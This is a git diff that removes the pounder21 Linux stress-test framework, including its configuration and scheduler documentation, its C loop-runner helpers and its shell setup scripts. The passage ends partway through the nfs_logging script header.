- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#ifndef DEBUG_H_
-#define DEBUG_H_
-
-#include <stdio.h>
-
-int pounder_fprintf(FILE *stream, const char *format, ...);
-
-extern const char *fail_msg, *pass_msg, *abort_msg, *start_msg;
-
-#endif
diff --git a/tools/pounder21/doc/CONFIGURATION b/tools/pounder21/doc/CONFIGURATION
deleted file mode 100644
index 1878b50..0000000
--- a/tools/pounder21/doc/CONFIGURATION
+++ /dev/null
@@ -1,107 +0,0 @@
-This document describes the environment variables found in the pounder30 package
-as of 2011-8-09.
-
-Author:
-Lucy Liang <lgliang@us.ibm.com>
-
-Copyright (C) 2011 IBM.
-
-Contents
-========
-1. The libpounder.sh File
-2. The config File
-
-The libpounder.sh File
-======================
-The "libpounder.sh" file defines most of the environment variables used in the test
-suite and referenced throughout the documentation. These variables are not
-intended to be modified by the user, although they can be if customization is desired.
-Below is a brief description of these variables (see libpounder.sh for details):
-
-	DATE			- the current date, used for logging
-	DEFAULT_SCHEDPACK	- name of the default test scheduler, "default"
-	TESTS			- list of scripts from the test_scripts/ directory
-	BUILDS			- list of scripts from the build_scripts/ directory
-	POUNDER_HOME		- the pounder/ directory
-	POUNDER_PIDFILE		- pid file created when running pounder
-	POUNDER_LOGLOCAL	- the log/ directory where output of ALL pounder runs
-				get logged
-	POUNDER_LOGDIR		- the log/$DATE directory where output of only the
-				current pounder run get logged
-	POUNDER_TMPDIR		- the tmp/ directory used for storing temporary files
-				used for test runs
-	POUNDER_OPTDIR		- the opt/ directory used for storing third party packages
-				used by subtests, which can be fetched from web or from
-				a user-created cache (see $POUNDER_CACHE below)
-	POUNDER_SRCDIR		- the src/ directory containing source files packaged with
-				pounder
-	POUNDER_VERSION		- the pounder version
-	NR_CPUS			- the number of cpus on the system
-
-The config File
-===============
-The "config" file defines a few environment variables that ARE intended to be modified
-by the user for customizing pounder runs. The variables are described below:
-
-	DURATION		- Time in seconds for pounder to run. Setting this variable
-				to 0 will not put an upper bound on pounder run time.
-
-	MAX_FAILURES		- Maximum number of test failures allowed for each subtest
-				using infinite_loop or timed_loop (see the "Running Tests Repeatedly"
-				section in SCHEDULER for more info on these two procedures) before aborting.
-				Setting this variable to 0 will not put an upper bound on any
-				subtest failures.
-
-
-	NFS_LOGGING             - Enables/disables NFS logging. Setting this variable to
-				1 will enable NFS logging of pounder output; pounder will
-                             	log output to remote directory on NFS server specified
-                                by $NFS_LOGDIR and  $NFS_LOGSERVER (see below), which
-                                will be mounted on $POUNDER_LOGLOCAL (see libpounder.sh).
-                                Setting this variable to 0 will disable this feature; all
-				output for pounder runs will be stored locally directly in
-				$POUNDER_LOGLOCAL instead.
-
-	NFS_LOGSERVER           - IP address of the NFS server to use for logging pounder results.
-				NFS_LOGGING should be enabled to use this feature.
-
-	NFS_LOGDIR		- Path to the log directory on $NFS_LOGSERVER; If $NFS_LOGGING
-				is enabled, pounder will attempt to mount $NFS_LOGSERVER:$NFS_LOGDIR/
-				on $POUNDER_LOGLOCAL (see libpounder.sh).
-
-	POUNDER_CACHE  		- Address of the cache to use for fetching outside packages,
-                        	The cache is a user-created web-accessible directory
-                        	containing cached tarballs/scripts/etc. used for
-                        	the various tests you intend to build. This is optional
-                        	but useful for saving download time and keeping everything in one place.
-
-				For instance, the build_kernel subtest requires downloading a
-				linux kernel tarball during build time (see build_scripts/build_kernel).
-				Instead of calling "wget http://www.kernel.org/pub/linux/kernel/v2.6/$TARNAME"
-				to retrieve the tarball, we can pre-download and store it in a user-created online
-				directory, then call "wget ${POUNDER_CACHE}${TARNAME}," where POUNDER_CACHE
-				is the address of the directory. Other provided subtests: bonnie++, lame, ipmitool,
-				and memtest also make use of this cache.
-
-				Examples of some things you may want to include in your cache for building
-				the provided tests:
-					bonnie++-1.03e.tgz	(for the bonnie++ subtest)
-					linux-2.6.39.tar.gz	(for the build_kernel subtest)
-					ipmitool-1.8.9.tar.gz	(for the ipmitool subtest)
-					...
-
-				These can be found in $POUNDER_OPTDIR after you run "make install" on the
-				default package.
-
-	[These variables below are used by specific subtests contained in the provided default
-	test scheduler, but they can be incorporated into other user-defined subtests as well.]
-
-	DO_X_TESTS		- 0 disables X system testing, 1 enables X system testing.
-				Used by the xterm_stress subtest.
-
-
-	NFS_SERVER=0		- IP address of the NFS server to use for nfs and ping_nfs
-				subtests. Setting this variable to 0 disables nfs testing.
-
-	NTP_SERVER		The NTP server to use. By default, it's set to pool.ntp.org.
-				Used by the time_drift subtest.
diff --git a/tools/pounder21/doc/SCHEDULER b/tools/pounder21/doc/SCHEDULER
deleted file mode 100644
index 979df51..0000000
--- a/tools/pounder21/doc/SCHEDULER
+++ /dev/null
@@ -1,352 +0,0 @@
-This document describes the operation of the test scheduling framework in
-the pounder30 package.  This document reflects pounder30 as of 2011-8-09.
-
-Authors:
-Darrick Wong <djwong@us.ibm.com>
-Lucy Liang <lgliang@us.ibm.com>
-
-Copyright (C) 2011 IBM.
-
-Contents
-========
-1. Overview
-2. Test Files
-3. Build Scripts
-4. Test Scripts
-5. Scheduling Tests
-6. Running Tests Repeatedly
-7. The Provided Test Schedulers
-8. Creating Your Own Test Scheduler
-9. Including and Excluding Tests
-
-Overview
-========
-The scheduler in the original pounder release was too simplistic--it would kick
-off every test at once, simultaneously.  There was no attempt to ramp up the
-machine's stress levels test by test, or to run only certain combinations, or
-even run the tests one by one before beginning the real load testing.
-
-In addition, the test scripts had a very simple pass/fail mechanism--failure
-was defined by a kernel panic/oops/bug, and passing was defined by the lack of
-that condition.  There was no attempt to find soft failures--situations where
-a test program would fail, but without bringing the machine down.  The test
-suite would not alert the user that these failures had occurred.
-
-Consequently, Darrick Wong rewrote the test scheduling framework to achieve
-several goals--first, to separate the test automation code from the tests
-themselves, to allow for more intelligent scheduling of tests, to give better
-summary reports of what passed (and what didn't), and finally to improve the
-load testing that this suite could do.
-
-Test Files
-==========
-Each test should only need to provide three files:
-
-1) build_scripts/<testname>
-	- The build_scripts/ directory contains scripts that take care of checking for
-	system requirements, downloading the relevant packages and binaries, and building
-	any code necessary to run the subtests. See the "Build Scripts" section below for
-	more information.
-
-2) test_scripts/<testname>
-	- The test_script/ directory contains scripts that take care of running the actual tests.
-	See the "Test Scripts" section below for more information.
-
-3) tests/.../[T|D]XX<testname>
-	- The tests/ directory represents our unpackaged "test scheduler" (if your tests/
-	directory is empty, that means you haven't unpacked any test schedulers yet and will
-	need run "make install" to unpack a scheduler - see "The Provided Test Schedulers"
-	section for more information. The test_repo/ directory also provides an example of what
-	an unpacked test scheduler should look like). The files in the tests/ directory are
-	usually symlinks that point to files in test_scripts/. The order in which the subtests are
-	run upon starting pounder depends on how the files in tests/ are named and organized.
-	See the "Scheduling Tests" section below for more information.
-
-Note: <testname> should be the same in the build_scripts/, test_scripts/, and tests/ folders.
-(Example: build_scripts/subtest1, test_scripts/subtest1, and tests/D99subtest1 would be valid.
-build_scripts/subtest1, test_scripts/subtest1_different, and tests/D99subtest1 would not.)
-See "Scheduling Tests" below for a detailed description of naming rules for files in the tests/
-directory.
-
-Build Scripts
-=============
-As the name implies, a script in build_scripts/ is in charge of downloading
-and building whatever bits of code are necessary to make the test run.
-
-Temporary files needed to run a test should go in $POUNDER_TMPDIR. Third party source,
-packages, binaries should go in $POUNDER_OPTDIR. Third party packages can be fetched
-from the web or from a user-created cache, a web-accessible directory containing
-cached tarballs and files used for whatever it is you'll need to build.
-(see "$POUNDER_CACHE" in doc/CONFIGURATION for more information)
-
-Should there be a failure in the build script that is essential to the ability
-to run a test, the build script should exit with error to halt the main build
-process immediately.
-
-Also, be aware that distributing pre-built binary tarballs is not always a good
-idea. Though one could cache pre-built binary tarballs rather than source, it may
-not be a good idea because distros are not always good at ABI/library path compatibility,
-despite the efforts of LSB, FHS, etc.  It is always safest to build your
-subtests from source on your target system.
-
-The build_scripts/ directory provides some examples.
-
-Test Scripts
-============
-A script in test_scripts/ is in charge of running the actual test.
-
-The requirements on test scripts are pretty light.  First, the building of the
-test ought to go in the build script unless it's absolutely necessary to build
-a test component at run time. Any checking for system requirements should also
-go in the build script.
-
-Second, the script must catch SIGTERM and clean up after itself.  SIGTERM is
-used by the test scheduler to stop tests.
-
-The third requirement is much more stringent: Return codes.  The script should
-return 0 to indicate success, 1-254 to indicate failure (the common use is to
-signify the number of failures), and -1 or 255 to indicate that the there was
-a failure that cannot be fixed.
-
-Note: If a test is being run in a timed or infinite loop (see the
-"Running Tests Repeatedly" section below for details), returning -1 or 255
-has the effect of cancelling all subsequent loops.
-
-Quick map of return codes to what gets reported:
-0             = "PASS"
--1            = "ABORT"
-255           = "ABORT"
-anything else = "FAIL"
-
-Also note: If a test is killed by an unhandled signal, the test is reported as
-failing.
-
-Put any temporary files created during test run in $POUNDER_TMPDIR.
-
-The test_scripts/ directory provides some examples.
-
-Scheduling Tests
-================
-Everything under the tests/ directory is used for scheduling purposes. The current
-test scheduler borrows a System V rc script-like structure for specifying how and
-when tests should be run. Files under tests/ should have names that follow the this
-standard:
-
-   [type][sequence number][name]
-
-"type" is the type of test. Currently, there are two types, 'D' and 'T'.  'T'
-signifies a test, which means that the scheduler starts the test, waits for the
-test to complete, and reports on its exit status.  'D' signifies a daemon
-"test", which is to say that the scheduler will start the test, let it run in
-the background, and kill it when it's done running all the tests in that
-directory.
-
-The "sequence number" dictates the order in which the test are run. 00 goes
-first, 99 goes last.  Tests with the same number are started simultaneously,
-regardless of the type.
-
-"name" is just a convenient mnemonic to distinguish between tests. However,
-it should be the same as the corresponding name using in build_scripts and
-test_scripts. (A test with build script "build_scripts/subtest" and
-test script "test_scripts/subtest" should be defined as  something like
-"tests/T00subtest" as opposed to "tests/T00whatever_i_feel_like")
-
-Test names must be unique!
-
-File system objects under the tests/ directory can be nearly anything--
-directories, symbolic links, or files.  The test scheduler will not run
-anything that doesn't have the execute bit set.  If a FS object is a
-directory, then the contents of the directory are executed sequentially.
-
-Example:
-
-Let's examine the following test scheduler hierarchy:
-
-tests/
-    D00stats
-    T01foo
-    T01bar
-    T02dir/
-        T00gav -> ../../test_scripts/gav
-        T01hic -> ../../test_scripts/hic
-    T03lat
-
-Let's see how the tests are run.  The test scheduler will start off by scanning
-the tests/ directory.  First it spawns D00stats and lets it run in the
-background.  Next, T01foo and T01bar are launched at the same time; the
-scheduler will wait for both of them to complete before proceeding.  Since T01foo
-is a file and not just a symbolic link, there is a fair chance that T01foo runs
-some test in a loop for a certain amount of time.  In any case, the scheduler
-next sees T02dir and proceeds into it.
-
-In the T02dir/, we find two test scripts.  First T00gav runs, followed by
-T01hic.  Now there are no more tests to run in T02dir/, so the scheduler heads
-back up to the parent directory.  T03lat is forked and allowed to run to
-completion, after which D00stats is killed, and the test suite exits.
-
-Running Tests Repeatedly
-========================
-Two helper programs are provided to run tests repeatedly, timed_loop and infinite_loop.
-(This version of pounder currently also includes a fancy_timed_loop.c file, but it's only
-meant to be used for the random_syscall and will most likely be merged with timed_loop.c
-in the future, so we will ignore it here for now.)
-
-1. timed_loop
-
-    timed_loop [-m max_failures] duration_in_seconds command [arguments]
-
-This program will run "command" with the given arguments repeated
-until the number of seconds given as "duration" has passed or the
-command has failed a total of "max_failures" times, whichever comes first.
-If the $MAX_FAILURES variable is set (defined in config, see CONFIGURATION
-for details), then the program will run until command has failed a total of
-$MAX_FAILURES time (as long as it's not overridden by the -m option).
-
-2. infinite_loop
-
-    infinite_loop [-m max_failures] command [arguments]
-
-This program runs "command" repeatedly until sent SIGTERM or the
-command has failed a total of "max_failures" times. If the $MAX_FAILURES
-variable is set (defined in config, see CONFIGURATION for details), then
-the program will run until command has failed a total of $MAX_FAILURES time
-(as long as it's not overridden by the -m option).
-
-Examples:
-
-1. test_repo/T90ramp/D02build_kernel contains the following line:
-
-	"$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/build_kernel"
-
-	which will run the build_kernel test script repeatedly until sent SIGTERM
-	or until it has failed a total of $MAX_FAILURES times.
-
-	"$POUNDER_HOME/infinite_loop -m 10 $POUNDER_HOME/test_scripts/build_kernel"
-
-	would run the build_kernel test script repeatedly until sent SIGTERM or
-	until it has failed 10 times, regardless of what $MAX_FAILURES is.
-
-2. test_scripts/time_drift contains the following line:
-
-	"$POUNDER_HOME/timed_loop 900 "$POUNDER_SRCDIR/time_tests/drift-test.py" $NTP_SERVER $FREQ"
-
-	which will run the drift-test.py script ($NTP_SERVER and $FREQ are some args passed to drift-test.py)
-	for 15 minutes or until it has failed a total of $MAX_FAILURES times.
-
-	"$POUNDER_HOME/timed_loop -m 10 900 "$POUNDER_SRCDIR/time_tests/drift-test.py" $NTP_SERVER $FREQ"
-
-	would run the drift-test.py script for 15 minutes or until it has failed 10 times, regardless of
-	what $MAX_FAILURES is.
-
-The Provided Test Schedulers
-============================
-This version of pounder provides 3 test schedulers: the "default," "fast," and "test" test schedulers.
-The tarred versions can be found in the schedulers/ directory as default-tests.tar.gz, fast-tests.tar.gz,
-and test-tests.tar.gz respectively.
-
-To unpack a test scheduler, run "make install" in the pounder/ directory and enter the name of the
-scheduler you would like to unpack at the first prompt.
-
-Example of unpacking the "fast" test scheduler:
-
-	# make install
-	./Install
-	Looking for tools...make g++ lex gcc python wget sudo diff patch egrep rm echo test which cp mkdir .
-	All tools were found.
-	WHICH TEST SCHEDULER SETUP DO YOU WANT TO UNPACK?
-	[Choose from:
-	default-tests.tar.gz
-	fast-tests.tar.gz
-	test-tests.tar.gz]
-	[Or simply press ENTER for the default scheduler]
-	Scheduler selection: fast
-
-Descriptions of the provided test schedulers:
-
-1. default - provides a general purpose stress test, runs for 48 hours unless the -d option
-		is used when starting pounder.
-2. fast - basically the same as default, except it runs for 12 hours by default.
-3. test - provides a set of useless tests. Each test simply passes, fails, aborts, or sleeps for
-		some period of time. They don't do anything useful but can be used to see how
-		the test scheduling setup works.
-
-Creating Your Own Test Schedulers
-=================================
-From the pounder directory, place the desired tests in the tests/ directory according to
-the rules described in the "Scheduling Tests" section above. Then run the following command:
-
-./pounder -c name_of_scheduler
-
-to create a new test scheduler, which will be tarred as name_of_scheduler-tests.tar.gz and
-placed in the schedulers/ directory.
-
-Example Usage:
-
-	# ls ./schedulers
-	default-tests.tar.gz  fast-tests.tar.gz     test-tests.tar.gz
-
-	# ls ./tests
-	T00hwinfo
-
-	# ./pounder -c new_sched
-
-	# ls ./schedulers
-	default-tests.tar.gz  fast-tests.tar.gz     new_sched-tests.tar.gz      test-tests.tar.gz
-
-	After unpacking the "new_sched" test scheduler during install, the tests/ directory should
-	contain the T00hwinfo subtest along with a tests/excluded/ directory (see the "Including and
-	Excluding Tests" section below for details regarding the tests/excluded directory).
-
-Including and Excluding Tests
-=============================
-After unpacking the test scheduler and building each individual test, running
-"./pounder" will automatically run every test included in the tests folder. If you
-would like to run only ONE test, run "./pounder ./tests/<some subtest>". If you would
-like to run a portion of tests, you can use the "./pounder -e" option to exclude
-certain subtests from subsequent pounder runs:
-
-Example:
-
-Suppose you have already ran "make install" and unpacked the default test scheduler.
-The tests/ directory should now contain the subtests to be run
-
-1) ./pounder -l
-	- lists all of the subtests that came with the currently active test scheduler.
-	The output should look something like:
-
-	------------------
-	#./pounder -l
-	Included subtests:
-	...
-	.../ltp-full-xxxxxxxx/tools/pounder/tests/T10single/T00xterm_stress
-	.../ltp-full-xxxxxxxx/tools/pounder/tests/T00hwinfo
-	...
-
-	Excluded subtests:
-	[NONE]
-	------------------
-
-2) ./pounder -e "tests/T10single/T00xterm_stress tests/T00hwinfo"
-	- will exclude T00xterm_stress and T00hwinfo from any subsequent pounder runs.
-	This command essentially moves the two tests from the "tests" folder to the
-	"tests/excluded" folder for temporary storage, where they will remain until
-	re-included back into the test scheduler (this is also why all test names
-	should be unique). A file "tests/excluded/testlist" keeps track of which tests
-	have been excluded from the test scheduler and what their original paths were.
-
-3) ./pounder -l
-	- should now output something like:
-
-	------------------
-	#./pounder -l
-	Included subtests:
-	...
-
-	Excluded subtests:
-	T00xterm_stress
-	T00hwinfo
-	------------------
-
-4) ./pounder -i "T00xterm_stress T00hwinfo" - will re-include these subtests back into
-	the test scheduler. They will be moved from the tests/excluded folder back into
-	the tests folder under their original paths.
diff --git a/tools/pounder21/fancy_timed_loop.c b/tools/pounder21/fancy_timed_loop.c
deleted file mode 100644
index ac3e204..0000000
--- a/tools/pounder21/fancy_timed_loop.c
+++ /dev/null
@@ -1,218 +0,0 @@
-/* Repeatedly run a program with a given uid, gid and termination signal. */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <stdio.h>
-#include <string.h>
-#include <strings.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include "debug.h"
-
-static int res = 0;
-static char *progname;
-static pid_t test_pgrp;
-static FILE *out;
-
-static int the_signal = SIGTERM;
-
-static void int_func(int signum)
-{
-	pounder_fprintf(out,
-			"%s: Killed by interrupt.  Last exit code = %d.\n",
-			progname, res);
-	kill(-test_pgrp, the_signal);
-	exit(res);
-}
-
-static void alarm_func(int signum)
-{
-	pounder_fprintf(out, "%s: Killed by timer.  Last exit code = %d.\n",
-			progname, res);
-	kill(-test_pgrp, the_signal);
-	exit(res);
-}
-
-int main(int argc, char *argv[])
-{
-	int secs, stat;
-	pid_t pid;
-	unsigned int revs = 0;
-	struct sigaction zig;
-	uid_t uid;
-	gid_t gid;
-	int use_max_failures = 0;
-	int max_failures = 0;
-	int fail_counter = 1;
-
-	if (argc < 5) {
-		printf
-		    ("Usage: %s [-m max_failures] time_in_sec uid gid signal command [args]\n",
-		     argv[0]);
-		exit(1);
-	}
-	//by default, set max_failures to whatever the env variable $MAX_FAILURES is
-	char *max_failures_env = getenv("MAX_FAILURES");
-	max_failures = atoi(max_failures_env);
-
-	//if the -m option is used when calling fancy_timed_loop, override max_failures
-	//specified by $MAX_FAILURES with the given argument instead
-	if (argc > 6 && strcmp(argv[1], "-m") == 0) {
-		if ((max_failures = atoi(argv[2])) >= 0) {
-			use_max_failures = 1;
-		} else {
-			printf
-			    ("Usage: %s [-m max_failures] time_in_sec uid gid signal command [args]\n",
-			     argv[0]);
-			printf
-			    ("max_failures should be a nonnegative integer\n");
-			exit(1);
-		}
-	}
-
-	out = stdout;
-
-	if (use_max_failures) {
-		progname = rindex(argv[7], '/');
-		if (progname == NULL) {
-			progname = argv[7];
-		} else {
-			progname++;
-		}
-	} else {
-		progname = rindex(argv[5], '/');
-		if (progname == NULL) {
-			progname = argv[5];
-		} else {
-			progname++;
-		}
-	}
-
-	/* Set up signals */
-	memset(&zig, 0x00, sizeof(zig));
-	zig.sa_handler = alarm_func;
-	sigaction(SIGALRM, &zig, NULL);
-	zig.sa_handler = int_func;
-	sigaction(SIGINT, &zig, NULL);
-	sigaction(SIGTERM, &zig, NULL);
-
-	/* set up process groups so that we can kill the
-	 * loop test and descendants easily */
-
-	if (use_max_failures) {
-		secs = atoi(argv[3]);
-		alarm(secs);
-
-		the_signal = atoi(argv[6]);
-		uid = atoi(argv[4]);
-		gid = atoi(argv[5]);
-	} else {
-		secs = atoi(argv[1]);
-		alarm(secs);
-
-		the_signal = atoi(argv[4]);
-		uid = atoi(argv[2]);
-		gid = atoi(argv[3]);
-	}
-
-	pounder_fprintf(out, "%s: uid = %d, gid = %d, sig = %d\n",
-			progname, uid, gid, the_signal);
-
-	while (1) {
-		pounder_fprintf(out, "%s: %s loop #%d.\n", progname,
-				start_msg, revs++);
-		pid = fork();
-		if (pid == 0) {
-			// set process group
-			if (setpgrp() < 0) {
-				perror("setpgid");
-			}
-			// set group and user id
-			if (setregid(gid, gid) != 0) {
-				perror("setregid");
-				exit(-1);
-			}
-
-			if (setreuid(uid, uid) != 0) {
-				perror("setreuid");
-				exit(-1);
-			}
-			// run the program
-			if (use_max_failures) {
-				if (argc > 5) {
-					stat = execvp(argv[7], &argv[7]);
-				} else {
-					stat = execvp(argv[7], &argv[7]);
-				}
-
-				perror(argv[7]);
-			} else {
-				if (argc > 3) {
-					stat = execvp(argv[5], &argv[5]);
-				} else {
-					stat = execvp(argv[5], &argv[5]);
-				}
-
-				perror(argv[5]);
-			}
-
-			exit(-1);
-		}
-
-		/* save the pgrp of the spawned process */
-		test_pgrp = pid;
-
-		// wait for it to be done
-		if (waitpid(pid, &stat, 0) != pid) {
-			perror("waitpid");
-			exit(1);
-		}
-		// interrogate it
-		if (WIFSIGNALED(stat)) {
-			pounder_fprintf(out, "%s: %s on signal %d.\n",
-					progname, fail_msg, WTERMSIG(stat));
-			res = 255;
-		} else {
-			res = WEXITSTATUS(stat);
-			if (res == 0) {
-				pounder_fprintf(out, "%s: %s.\n", progname,
-						pass_msg);
-			} else if (res < 0 || res == 255) {
-				pounder_fprintf(out,
-						"%s: %s with code %d.\n",
-						progname, abort_msg, res);
-				exit(-1);
-				// FIXME: add test to blacklist
-			} else {
-				pounder_fprintf(out,
-						"%s: %s with code %d.\n",
-						progname, fail_msg, res);
-				if (max_failures > 0) {
-					if (++fail_counter > max_failures) {
-						exit(-1);
-					}
-				}
-			}
-		}
-	}
-}
diff --git a/tools/pounder21/infinite_loop.c b/tools/pounder21/infinite_loop.c
deleted file mode 100644
index fbe4289..0000000
--- a/tools/pounder21/infinite_loop.c
+++ /dev/null
@@ -1,174 +0,0 @@
-/* Repeatedly run a program. */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <stdio.h>
-#include <string.h>
-#include <strings.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include "debug.h"
-
-static int res = 0;
-static char *progname;
-static pid_t test_pgrp;
-static FILE *out;
-
-static void int_func(int signum)
-{
-	pounder_fprintf(out,
-			"%s: Killed by interrupt.  Last exit code = %d.\n",
-			progname, res);
-	kill(-test_pgrp, SIGTERM);
-	exit(res);
-}
-
-int main(int argc, char *argv[])
-{
-	int stat;
-	pid_t pid;
-	struct sigaction zig;
-	unsigned int revs = 0;
-	int use_max_failures = 0;
-	int max_failures = 0;
-	int fail_counter = 1;
-
-	if (argc < 2) {
-		printf("Usage: %s [-m max_failures] command [args]\n", argv[0]);
-		exit(1);
-	}
-	//by default, set max_failures to whatever the env variable $MAX_FAILURES is
-	char *max_failures_env = getenv("MAX_FAILURES");
-	max_failures = atoi(max_failures_env);
-
-	//if the -m option is used when calling infinite_loop, override max_failures
-	//specified by $MAX_FAILURES with the given argument instead
-	if (argc > 3 && strcmp(argv[1], "-m") == 0) {
-		if ((max_failures = atoi(argv[2])) >= 0) {
-			use_max_failures = 1;
-		} else {
-			printf("Usage: %s [-m max_failures] command [args]\n",
-			       argv[0]);
-			printf
-			    ("max_failures should be a nonnegative integer\n");
-			exit(1);
-		}
-	}
-
-	out = stdout;
-
-	if (use_max_failures) {
-		progname = rindex(argv[3], '/');
-		if (progname == NULL) {
-			progname = argv[3];
-		} else {
-			progname++;
-		}
-	} else {
-		progname = rindex(argv[1], '/');
-		if (progname == NULL) {
-			progname = argv[1];
-		} else {
-			progname++;
-		}
-	}
-
-	/* Set up signals */
-	memset(&zig, 0x00, sizeof(zig));
-	zig.sa_handler = int_func;
-	sigaction(SIGINT, &zig, NULL);
-	sigaction(SIGTERM, &zig, NULL);
-
-	/* set up process groups so that we can kill the
-	 * loop test and descendants easily */
-
-	while (1) {
-		pounder_fprintf(out, "%s: %s loop #%d.\n", progname,
-				start_msg, revs++);
-		pid = fork();
-		if (pid == 0) {
-			if (setpgrp() < 0) {
-				perror("setpgid");
-			}
-			// run the program
-			if (use_max_failures) {
-				if (argc > 5) {
-					stat = execvp(argv[3], &argv[3]);
-				} else {
-					stat = execvp(argv[3], &argv[3]);
-				}
-
-				perror(argv[3]);
-			} else {
-				if (argc > 3) {
-					stat = execvp(argv[1], &argv[1]);
-				} else {
-					stat = execvp(argv[1], &argv[1]);
-				}
-
-				perror(argv[1]);
-			}
-
-			exit(-1);
-		}
-
-		/* save the pgrp of the spawned process */
-		test_pgrp = pid;
-
-		// wait for it to be done
-		if (waitpid(pid, &stat, 0) != pid) {
-			perror("waitpid");
-			exit(1);
-		}
-		// interrogate it
-		if (WIFSIGNALED(stat)) {
-			pounder_fprintf(out, "%s: %s on signal %d.\n",
-					progname, fail_msg, WTERMSIG(stat));
-			res = 255;
-		} else {
-			res = WEXITSTATUS(stat);
-			if (res == 0) {
-				pounder_fprintf(out, "%s: %s.\n", progname,
-						pass_msg);
-			} else if (res < 0 || res == 255) {
-				pounder_fprintf(out,
-						"%s: %s with code %d.\n",
-						progname, abort_msg, res);
-				exit(-1);
-				// FIXME: add test to blacklist
-			} else {
-				pounder_fprintf(out,
-						"%s: %s with code %d.\n",
-						progname, fail_msg, res);
-				if (max_failures > 0) {
-					if (++fail_counter > max_failures) {
-						pounder_fprintf
-						    ("Reached max number of failures allowed: %d. Aborting.",
-						     max_failures);
-						exit(-1);
-					}
-				}
-			}
-		}
-	}
-}
diff --git a/tools/pounder21/libpounder.sh b/tools/pounder21/libpounder.sh
deleted file mode 100644
index 21e4613..0000000
--- a/tools/pounder21/libpounder.sh
+++ /dev/null
@@ -1,65 +0,0 @@
-# Common shell functions and variables that all pounder scripts can use.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-# Start by setting environment variables...
-export DATE=`date +%Y%h%d-%H%M%S`
-
-export DEFAULT_SCHEDPACK=default
-export TESTS=`/bin/ls test_scripts/`
-export BUILDS=`/bin/ls build_scripts/`
-export POUNDER_HOME=`pwd`
-export POUNDER_PIDFILE="$POUNDER_HOME/pounder.pid"
-export POUNDER_LOGLOCAL="$POUNDER_HOME/log"
-export POUNDER_LOGDIR="$POUNDER_LOGLOCAL/$DATE/"
-export POUNDER_TMPDIR="$POUNDER_HOME/tmp/"
-export POUNDER_OPTDIR="$POUNDER_HOME/opt/"
-export POUNDER_SRCDIR="$POUNDER_HOME/src/"
-export POUNDER_VERSION=`head -1 "$POUNDER_HOME/README" | awk -F " " '{print $3}' | sed -e 's/\.//g'`
-export NR_CPUS=`getconf _NPROCESSORS_ONLN`
-export NFS_LOGLOCAL="`echo "$HOSTNAME" | sed -e 's/\..*//g'`/`uname -r`-`uname -m`"
-
-if [ -e "$POUNDER_HOME/config" ]; then
-	source "$POUNDER_HOME/config"
-fi
-
-function get_from_sourceforge {
-	PROGNAME=$1
-	TARNAME=$2
-
-	# Correct arguments?
-	if [ -z "$1" -o -z "$2" ]; then
-		echo "get_from_sourceforge: Called with empty arguments."
-		exit
-	fi
-
-	# File already exists?
-	if [ -f "$TARNAME" ]; then
-		echo "get_from_sourceforge: Target file already exists."
-		exit
-	fi
-
-	# Else try download...
-	for SERVER in voxel.dl.sourceforge.net easynews.dl.sourceforge.net umn.dl.sourceforge.net; do
-		wget -t 1 --timeout=15 "http://$SERVER/sourceforge/$PROGNAME/$TARNAME"
-
-		if [ -f "$TARNAME" ]; then
-			break
-		fi
-	done
-}
diff --git a/tools/pounder21/nfs_logging b/tools/pounder21/nfs_logging
deleted file mode 100755
index 405a95b..0000000
--- a/tools/pounder21/nfs_logging
+++ /dev/null
@@ -1,95 +0,0 @@
-#!/bin/bash
-
-# Mount an NFS export for remote log storage.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-# @author Sarunya Jimenez (sjimen@us.ibm.com)
-# Reworked by Darrick Wong <djwong@us.ibm.com>
-#  - If unable to connect to NFS_SERVER => save log files in local machine
-#  - Otherwise,
-#    1. log files produced from ./pounder will be in
-#       NFS_LOGSERVER (e.g. 10.0.0.211)
-#       |--- /pounder
